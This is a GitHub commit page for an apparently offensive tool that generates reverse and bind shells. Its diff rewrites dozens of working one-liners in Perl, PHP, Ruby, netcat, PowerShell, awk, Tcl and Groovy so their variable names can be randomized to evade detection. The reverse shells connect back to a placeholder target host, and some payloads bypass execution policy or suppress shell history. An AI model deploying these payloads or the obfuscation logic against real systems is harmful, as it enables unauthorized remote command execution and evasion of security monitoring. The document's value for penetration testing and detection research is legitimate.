Skip to content

Commit

Permalink
Finished updating reverse & bind shells to allow for randomization of…
Browse files Browse the repository at this point in the history
… vars. Also trimmed fat & fixed some errors in various shells.
  • Loading branch information
capnspacehook committed Jul 18, 2018
1 parent c6d7d0f commit fc93b80
Show file tree
Hide file tree
Showing 4 changed files with 36 additions and 35 deletions.
26 changes: 13 additions & 13 deletions src/bind.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,49 +11,49 @@ def BIND_PYTHON_UDP():


def BIND_PERL_TCP():
return """perl -e 'use Socket;$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'"""
return """perl -MSocket -e '$VAR1=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($VAR1, INADDR_ANY));listen(S,SOMAXCONN);for(;$VAR1=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'"""


def BIND_PERL_UDP():
return """perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);my ($pa,$pp);$s=new IO::Socket::INET->new();$s = new IO::Socket::INET(LocalPort => "PORT",Proto => "udp");while(1) { $s->recv($r,1024);$pa=$s->peerhost();$pp=$s->peerport();$d=qx($r);$s->send($d);}'"""
return """perl -MIO::Socket::INET -e '$|=1;$VAR1=new IO::Socket::INET->new();$VAR1 = new IO::Socket::INET(LocalPort => "PORT",Proto => "udp");while(1) { $VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'"""


def BIND_PHP_TCP():
return """php -r '$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($s,"0.0.0.0",PORT);socket_listen($s,1);$cl=socket_accept($s);while(1){if(!socket_write($cl,"$ ",2))exit;$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);socket_write($cl,$m,strlen($m));}}'"""
return """php -r '$VAR1=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($VAR1,"0.0.0.0",PORT);socket_listen($VAR1,1);$VAR2=socket_accept($VAR1);while(NUM1){if(!socket_write($VAR2,"$ ",2))exit;$VAR3=socket_read($VAR2,100);$VAR4=popen("$VAR3","r");while(!feof($VAR4)){$VAR5=fgetc($VAR4);socket_write($VAR2,$VAR5,strlen($VAR5));}}'"""


def BIND_PHP_UDP():
return """php -r '$s=socket_create(AF_INET, SOCK_DGRAM, 0);socket_bind($s,"0.0.0.0",PORT);while(1){ socket_recvfrom($s, $buf, 1024, 0, $remote_ip, $remote_port);$d=shell_exec($buf);socket_sendto($s,$d,1024,0,$remote_ip,$remote_port);}'"""
return """php -r '$VAR1=socket_create(AF_INET,SOCK_DGRAM, 0);socket_bind($VAR1,"0.0.0.0",PORT);while(NUM1){socket_recvfrom($VAR1,$VAR2,1024,0,$VAR3,$VAR4);$VAR5=shell_exec($VAR2);socket_sendto($VAR1,$VAR5,1024,0,$VAR3,$VAR4);}'"""


def BIND_RUBY_TCP():
return """ruby -rsocket -e 'f=TCPServer.new(PORT);s=f.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",s,s,s)'"""
return """ruby -rsocket -e 'VAR1=TCPServer.new(PORT);VAR2=VAR1.accept;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",VAR2,VAR2,VAR2)'"""


def BIND_RUBY_UDP():
return """ruby -rsocket -e 'require "open3";s=UDPSocket.new;s.bind("0.0.0.0",PORT);loop do d,a=s.recvfrom(1024);out,err,st=Open3.capture3(d);s.send(out,0,a[3],a[1]); end'"""
return """ruby -rsocket -e 'require "open3";VAR1=UDPSocket.new;VAR1.bind("0.0.0.0",PORT);loop do VAR2,VAR3=VAR1.recvfrom(1024);VAR4,VAR5,VAR6=Open3.capture3(VAR2);VAR1.send(VAR4,0,VAR3[3],VAR3[1]); end'"""


def BIND_NETCAT_TCP():
return """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvp PORT >/tmp/f"""


def BIND_NETCAT_TRADITIONAL_TCP():
return """nc -lvp PORT -c /bin/bash"""
return """rm /tmp/VAR1;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc -lvp PORT >/tmp/VAR1"""


def BIND_NETCAT_OPENBSD_UDP():
return """coproc nc -luvp PORT; exec /bin/bash <&0${COPROC[0]} >&${COPROC[1]} 2>&1"""


def BIND_NETCAT_TRADITIONAL_TCP():
return """nc -lvp PORT -c /bin/bash"""


def BIND_POWERSHELL_TCP():
return """powershell.exe -nop -ep bypass -Command '$port=PORT;$listener=[System.Net.Sockets.TcpListener]$port;$listener.Start();$client = $listener.AcceptTCPClient();$stream=$client.GetStream();[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes(\\"Windows PowerShell running as user \\" + $env:username + \\" on \\" + $env:computername + \\"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\\");$stream.Write($sendbytes,0,$sendbytes.Length);$sendbytes = ([text.encoding]::ASCII).GetBytes(\\"PS \\" + (Get-Location).Path + \\"> \\");$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $returndata = ([text.encoding]::ASCII).GetString($bytes, 0, $i); try { $result = (Invoke-Expression -command $returndata 2>&1 | Out-String ) } catch { Write-Warning \\"Something went wrong with execution of command on the target.\\"; Write-Error $_; }; $sendback = $result + \\"PS \\" + (Get-Location).Path + \\"> \\"; $x = ($error[0] | Out-String); $error.clear(); $sendback = $sendback + $x; $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback); $stream.Write($sendbytes, 0, $sendbytes.Length); $stream.Flush();}; $client.Close(); if ($listener) { $listener.Stop(); };'"""
return """powershell.exe -nop -ep bypass -Command '$VAR1=PORT;$VAR2=[System.Net.Sockets.TcpListener]$VAR1;$VAR2.Start();$VAR3 = $VAR2.AcceptTCPClient();$VAR4=$VAR3.GetStream();[byte[]]$VAR5 = 0..65535|%{0};$VAR6 = ([text.encoding]::ASCII).GetBytes(\\"Windows PowerShell running as user \\" + $env:username + \\" on \\" + $env:computername + \\"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n\\");$VAR4.Write($VAR6,0,$VAR6.Length);$VAR6 = ([text.encoding]::ASCII).GetBytes(\\"PS \\" + (Get-Location).Path + \\"> \\");$VAR4.Write($VAR6,0,$VAR6.Length);while(($VAR7 = $VAR4.Read($VAR5, 0, $VAR5.Length)) -ne 0){$VAR9 = ([text.encoding]::ASCII).GetString($VAR5, 0, $VAR7);try{$VAR8 = (Invoke-Expression -command $VAR9 2>&1|Out-String )}catch{Write-Warning \\"Something went wrong with execution of command on the target.\\"; Write-Error $_; };$VAR10 = $VAR8 + \\"PS \\" + (Get-Location).Path + \\"> \\";$VAR11 = ($error[0]|Out-String);$error.clear();$VAR10 = $VAR10 + $VAR11;$VAR6 = ([text.encoding]::ASCII).GetBytes($VAR10);$VAR4.Write($VAR6, 0, $VAR6.Length); $VAR4.Flush();};$VAR3.Close();if($VAR2){$VAR2.Stop();};'"""


# Removed from MetasploitFramework
# https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/cmd/unix/bind_awk.rb
def BIND_AWK_TCP():
return "awk 'BEGIN{s=\"/inet/tcp/PORT/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'"
return "awk 'BEGIN{VAR1=\"/inet/tcp/PORT/0/0\";for(;VAR1|&getline VAR2;close(VAR2))while(VAR2|getline)print|&VAR1;close(VAR1)}'"


# Removed from MetasploitFramework
Expand Down
11 changes: 6 additions & 5 deletions src/classes.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,11 +185,12 @@ def get(self):
if "TARGET" in self.code and "PORT" in self.code:
self.code = str(self.code.replace("TARGET", self.host)).replace("PORT", str(self.port))

# Apply variable randomization
self.code = randomize_vars(self.code, self.args.obfuscate_small)

# Apply powershell-tuning if set in args.
self.code = powershell_wrapper(self.name, self.code, self.args)

# Apply variable randomization
self.code = randomize_vars(self.code, self.args.obfuscate_small)
else:
# Custom shell. Here we need to program individually based in specifics.
# TODO: I need to separate this into a custom file.
Expand Down Expand Up @@ -247,12 +248,12 @@ def get(self):
# Set connection data to the code.
self.code = self.code.replace("PORT", str(self.port))

# Apply powershell-tuning if set in args.
self.code = powershell_wrapper(self.name, self.code, self.args)

# Apply variable randomization
self.code = randomize_vars(self.code, self.args.obfuscate_small)

# Apply powershell-tuning if set in args.
self.code = powershell_wrapper(self.name, self.code, self.args)

# Apply xor encoding.
self.code = self.code if self.args.xor is 0 else xor_wrapper(self.name, self.code, self.args)

Expand Down
2 changes: 1 addition & 1 deletion src/obfuscators.py
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

def randomize_vars(code, smallVars):
nums = re.findall("NUM\d", code)
vars = re.findall("VAR\d", code)
vars = re.findall("VAR\d+", code)

if smallVars:
maxNum = 999
Expand Down
32 changes: 16 additions & 16 deletions src/reverse.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,39 +8,39 @@ def REV_PYTHON_TCP():


def REV_PYTHON_UDP():
return """python -c \"import os;import pty;import socket;VAR1='TARGET';VAR2=PORT;VAR3=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);VAR3.connect((VAR1, VAR2)); os.dup2(VAR3.fileno(),0);os.dup2(VAR3.fileno(),1);os.dup2(VAR3.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');VAR3.close();\" """
return """python -c \"import os;import pty;import socket;VAR1='TARGET';VAR2=PORT;VAR3=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);VAR3.connect((VAR1,VAR2));os.dup2(VAR3.fileno(),0);os.dup2(VAR3.fileno(),1);os.dup2(VAR3.fileno(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');VAR3.close();\" """


def REV_PHP_TCP():
return r"""php -r "\$sock=fsockopen('TARGET',PORT);exec('/bin/sh -i <&3 >&3 2>&3');" """
return r"""php -r "\$VAR1=fsockopen('TARGET',PORT);exec('/bin/sh -i <&3 >&3 2>&3');" """


def REV_RUBY_TCP():
return """ruby -rsocket -e "exit if fork;c=TCPSocket.new('TARGET','PORT');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end" """
return """ruby -rsocket -e "exit if fork;VAR1=TCPSocket.new('TARGET','PORT');while(VAR1.print 'shell>';VAR2=VAR1.gets);IO.popen(VAR2,'r'){|io|VAR1.print io.read}end" """


def REV_PERL_TCP():
return r"""perl -e "use Socket;\$i='TARGET';\$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};" """
return r"""perl -MSocket -e "\$VAR1='TARGET';\$VAR2=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(\$VAR2,inet_aton(\$VAR1)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};" """


def REV_PERL_TCP_2():
return r"""perl -MIO -e "\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,'TARGET:PORT');STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;" """
return r"""perl -MIO::Socket::INET -e "\$VAR1=fork;exit,if(\$VAR1);\$VAR2=new IO::Socket::INET(PeerAddr,'TARGET:PORT');\$VAR2->send('shell>');STDIN->fdopen(\$VAR2,r);$~->fdopen(\$VAR2,w);system\$_ while<>;" """


def REV_PERL_UDP():
return """perl -e 'use IO::Socket::INET;$|=1;my ($s,$r);my ($pa,$pp);$s=new IO::Socket::INET->new();$s = new IO::Socket::INET(PeerAddr => "TARGET:PORT",Proto => "udp"); $s->send("SHELLPOP PWNED!\n");while(1) { $s->recv($r,1024);$pa=$s->peerhost();$pp=$s->peerport();$d=qx($r);$s->send($d);}'"""
return """perl -MIO::Socket::INET -e '$|=1;$VAR1 = new IO::Socket::INET(PeerAddr => "TARGET:PORT",Proto => "udp");while(NUM1){$VAR1->send("shell>");$VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'"""


def BASH_TCP():
return """/bin/bash -i >& /dev/tcp/TARGET/PORT 0>&1"""


def REV_POWERSHELL_TCP():
return """powershell.exe -nop -ep bypass -Command "$ip='TARGET';$port=PORT;$client = New-Object System.Net.Sockets.TCPClient($ip, $port);$stream=$client.GetStream();[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ');$stream.Write($sendbytes,0,$sendbytes.Length);while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $returndata = ([text.encoding]::ASCII).GetString($bytes, 0, $i); try { $result = (Invoke-Expression -c $returndata 2>&1 | Out-String ) } catch { Write-Warning 'Something went wrong with execution of command on the target.'; Write-Error $_; }; $sendback = $result + 'PS ' + (Get-Location).Path + '> '; $x = ($error[0] | Out-String); $error.clear(); $sendback = $sendback + $x; $sendbytes = ([text.encoding]::ASCII).GetBytes($sendback); $stream.Write($sendbytes, 0, $sendbytes.Length); $stream.Flush();}; $client.Close(); if ($listener) { $listener.Stop(); };" """
"""powershell.exe -nop -ep bypass -Command "$VAR1='TARGET';$VAR2=PORT;$VAR3 = New-Object System.Net.Sockets.TCPClient($VAR1,$VAR2);$VAR4=$VAR3.GetStream();[byte[]]$VAR5 = 0..65535|%{0};$VAR6 = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ');$VAR4.Write($VAR6,0,$VAR6.Length);while(($VAR7 = $VAR4.Read($VAR5,0,$VAR5.Length)) -ne 0){$VAR8 = ([text.encoding]::ASCII).GetString($VAR5,0,$VAR7);try{$VAR9 = (Invoke-Expression -c $VAR8 2>&1|Out-String)}catch{Write-Warning 'Something went wrong with execution of command on the target.';Write-Error $_;};$VAR10 = $VAR9 + 'PS ' + (Get-Location).Path + '> ';$VAR12 = ($VAR11[0]|Out-String);$VAR11.clear();$VAR10 = $VAR10 + $VAR12;$VAR6 = ([text.encoding]::ASCII).GetBytes($VAR10);$VAR4.Write($VAR6,0,$VAR6.Length);$VAR4.Flush();};$VAR3.Close();if($VAR13){$VAR13.Stop();};" """


def REVERSE_TCLSH():
return """echo 'set s [socket TARGET PORT];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh"""
return """echo 'set VAR1 [socket TARGET PORT];while NUM1 {puts -nonewline $VAR1 "shell>";flush $VAR1;gets $VAR1 VAR2;set VAR3 "exec $VAR2";if {![catch {set VAR4 [eval $VAR3]} err]} {puts $VAR1 $VAR4};flush $VAR1;};close $VAR1;'|tclsh"""


def REVERSE_NCAT():
Expand All @@ -56,31 +56,31 @@ def REVERSE_NC_UDP_1():


def REVERSE_MKFIFO_NC():
return "if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TARGET PORT > /tmp/f"
return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc TARGET PORT > /tmp/VAR1"


def REVERSE_MKNOD_NC():
return "if [ -e /tmp/f ]; then rm -f /tmp/f;fi;mknod /tmp/f p && nc TARGET PORT 0</tmp/f|/bin/bash 1>/tmp/f"
return "if [ -e /tmp/VAR1 ];then rm -f /tmp/VAR1;fi;mknod /tmp/VAR1 p && nc TARGET PORT 0</tmp/VAR1|/bin/bash 1>/tmp/VAR1"


def REVERSE_MKFIFO_TELNET():
return "if [ -e /tmp/f ]; then rm /tmp/f;fi;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet TARGET PORT > /tmp/f"
return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|telnet TARGET PORT > /tmp/VAR1"


def REVERSE_MKNOD_TELNET():
return "if [ -e /tmp/f ]; then rm /tmp/f;fi;mknod /tmp/f p && telnet TARGET PORT 0</tmp/f|/bin/bash 1>/tmp/f"
return "if [ -e /tmp/VAR1 ];then rm /tmp/VAR1;fi;mknod /tmp/VAR1 p && telnet TARGET PORT 0</tmp/VAR1|/bin/bash 1>/tmp/VAR1"


def REVERSE_SOCAT():
return """socat tcp-connect:TARGET:PORT exec:"bash -li",pty,stderr,setsid,sigint,sane"""


def REVERSE_AWK():
return """awk 'BEGIN {s = "/inet/tcp/0/TARGET/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null"""
return """awk 'BEGIN{VAR1="/inet/tcp/0/TARGET/PORT";while(NUM1){do{printf "shell>"|&VAR1;VAR1|& getline VAR2;if(VAR2){while((VAR2|& getline)>0)print $0|&VAR1;close(VAR2);}}while(VAR2!="exit")close(VAR1);break}}' /dev/null"""


def REVERSE_AWK_UDP():
return """awk 'BEGIN {s = "/inet/udp/0/TARGET/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null"""
return """awk 'BEGIN{VAR1="/inet/udp/0/TARGET/PORT";while(NUM1){do{printf "shell>"|&VAR1;VAR1|& getline VAR2;if(VAR2){while((VAR2|& getline)>0)print $0|&VAR1;close(VAR2);}}while(VAR2!="exit")close(VAR1);break}}' /dev/null"""


def REVERSE_WINDOWS_BAT2METERPRETER_TCP():
Expand All @@ -100,7 +100,7 @@ def REVERSE_WINDOWS_BLOODSEEKER_TCP():


def REVERSE_POWERSHELL_TINY_TCP():
return """powershell.exe -nop -ep bypass -Command "$c=new-object system.net.sockets.tcpclient('TARGET',PORT);$s=$c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$o=(iex $d 2>&1|out-string);$z=$o + 'PS' + (pwd).Path + '>';$x = ([text.encoding]::ASCII).GetBytes($z);$s.Write($x,0,$x.Length);$s.Flush};$c.close()" """
return """powershell.exe -nop -ep bypass -Command "$VAR1=new-object system.net.sockets.tcpclient('TARGET',PORT);$VAR2=$VAR1.GetStream();[byte[]]$VAR3 = 0..65535|%{0};while(($VAR4=$VAR2.Read($VAR3,0,$VAR3.Length)) -ne 0){;$VAR5 = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($VAR3,0,$VAR4);$VAR6=(iex $VAR5 2>&1|out-string);$VAR8=$VAR6 + 'PS' + (pwd).Path + '>';$VAR7 = ([text.encoding]::ASCII).GetBytes($VAR8);$VAR2.Write($VAR7,0,$VAR7.Length);$VAR2.Flush};$VAR1.close()" """


def REVERSE_POWERSHELL_NISHANG_TCP():
Expand Down Expand Up @@ -196,7 +196,7 @@ def REVERSE_POWERSHELL_NISHANG_TCP():


def REVERSE_GROOVY_TCP():
return """groovysh -e 'String host="TARGET";int port=PORT;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'"""
return """groovysh -e 'String VAR1="TARGET";int VAR2=PORT;String VAR3="cmd.exe";Process VAR4=new ProcessBuilder(VAR3).redirectErrorStream(true).start();Socket VAR5=new Socket(VAR1,VAR2);InputStream VAR6=VAR4.getInputStream(),VAR7=VAR4.getErrorStream(), VAR10=VAR5.getInputStream();OutputStream VAR8=VAR4.getOutputStream(),VAR9=VAR5.getOutputStream();while(!VAR5.isClosed()){while(VAR6.available()>0)VAR9.write(VAR6.read());while(VAR7.available()>0)VAR9.write(VAR7.read());while(VAR10.available()>0)VAR8.write(VAR10.read());VAR9.flush();VAR8.flush();Thread.sleep(50);try{VAR4.exitValue();break;}catch(Exception e){}};VAR4.destroy();VAR5.close();'"""


def REVERSE_POWERSHELL_ICMP():
Expand Down

0 comments on commit fc93b80

Please sign in to comment.